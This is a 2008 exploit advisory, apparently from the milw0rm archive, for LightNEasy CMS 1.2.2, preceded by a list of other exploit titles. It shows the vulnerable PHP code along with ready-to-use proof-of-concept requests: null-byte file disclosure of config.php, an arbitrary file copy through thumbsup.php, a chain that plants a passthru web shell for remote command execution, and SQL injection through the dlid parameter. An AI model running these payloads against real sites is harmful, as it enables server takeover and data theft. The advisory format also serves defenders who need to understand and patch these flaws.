477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
114 lines
3.6 KiB
Text
Executable file
114 lines
3.6 KiB
Text
Executable file
# Author: __GiReX__
|
|
# mySite: girex.altervista.org
|
|
# Date: 14/04/08
|
|
|
|
# CMS: LightNEasy SQLite / no database <= 1.2.2
|
|
# Site: lightneasy.org
|
|
|
|
# Advisory: Multiple Remote Vulnerabilities
|
|
|
|
# Need: magic_quotes_gpc = Off
|
|
magic_quotes_gpc = On / Off for SQL Injections
|
|
|
|
######################################################################################
|
|
|
|
# Bug 1: Remote File Disclosure
|
|
# Affected: SQLite / no database
|
|
|
|
# Get the config.php into HTML (like a comment)
|
|
# Note config.php not exists in SQLite version
|
|
|
|
# PoC: [host]/[path]/LightNEasy.php?page=config.php%00
|
|
|
|
######################################################################################
|
|
|
|
# Bug 2: Arbitrary file copy and rename / Thumsup v1.12
|
|
# Affected: SQLite / no database
|
|
|
|
# This vuln is present in this extern script by Gerd Tentler that is included by default
|
|
# in LightNEasy
|
|
|
|
# Vuln Code: LightNEasy/thumbsup.php
|
|
|
|
34. if(isset($_REQUEST['image'])) $image = $_REQUEST['image'];
|
|
37. if(isset($_REQUEST['cache_dir'])) $cache_dir = $_REQUEST['cache_dir'];
|
|
|
|
407. if($image) {
|
|
if($fp = @fopen($image, 'rb')) { <==
|
|
$size = filesize($image); <== Unfortunally filesize does not accept remote files
|
|
$data = fread($fp, $size); <==
|
|
fclose($fp);
|
|
|
|
$original = "$cache_dir/img_" . md5($image . $size); <==
|
|
}
|
|
else $error = 'Could not open';
|
|
414. }
|
|
|
|
451. if(!file_exists($original)) {
|
|
if($fp = @fopen($original, 'wb')) { <==
|
|
fwrite($fp, $data, strlen($data)); <==
|
|
fclose($fp);
|
|
455. }
|
|
|
|
# Note config.php not exists in SQLite version
|
|
|
|
# PoC: [host]/[path]/LightNEasy/thumbsup.php?image=../data/config.php&cache_dir=config.txt%00
|
|
|
|
# And then get file disclosure with:
|
|
|
|
# PoC: [host]/[path]/LightNEasy/config.txt
|
|
|
|
######################################################################################
|
|
|
|
# Bug 3: Getting a Remote Command Execution
|
|
# Affected: SQLite / no database
|
|
|
|
# First of all inject PHP Code into comments.dat from $_POST['newsid'] that is not sanizated
|
|
|
|
# Vuln code: LightNEasy/runtime.php
|
|
|
|
32. if($_POST['submit']=="sendcomment") {
|
|
...
|
|
42. if(!$fp=fopen("data/comments.dat","a")) die ($langmessage[142]);
|
|
43. fwrite($fp,$_POST['newsid']."|".encode($_POST['commentname'])."|". <==
|
|
44. encode($_POST['commentemail'])."|".time()."|".encode(stripslashes($_POST['commentmessage']))."||");
|
|
|
|
|
|
# PoC: If admin has been created some news and page news exists (it can has a different name)
|
|
|
|
POST [host]/[path]/LightNEasy.php?page=news
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
commentname=1&commentemail=1&commentmessage=1&secCode=[CAPTCHA CODE]
|
|
&submit=sendcomment&newsid=<?php passthru($_GET['cmd']); ?>/*
|
|
|
|
|
|
# Then create a file back.php with the trick of Bug 2
|
|
|
|
# PoC: [host]/[path]/LightNEasy/thumbsup.php?image=../data/comments.dat&cache_dir=../back.php%00
|
|
|
|
# Finally send remote commands to back.php
|
|
|
|
# PoC: [host]/[path]/back.php?cmd=ls
|
|
|
|
######################################################################################
|
|
|
|
# Bug 4: Multiple Remote SQL Injections
|
|
# Affected: SQLite
|
|
|
|
# Works with magic_quotes_gpc = On / Off
|
|
|
|
|
|
# Vuln Code: /LightNEasy/lightneasy.php
|
|
|
|
237. if(isset($_GET['dlid'])) {
|
|
$result=dbquery("SELECT * FROM downloads WHERE reg=".$_GET['dlid']);
|
|
|
|
|
|
# PoC: [host]/[path]/index.php?dlid=-1 OR 1
|
|
|
|
# You can find others more SQL Injections by yourself
|
|
|
|
######################################################################################
|
|
|
|
# milw0rm.com [2008-04-15]
|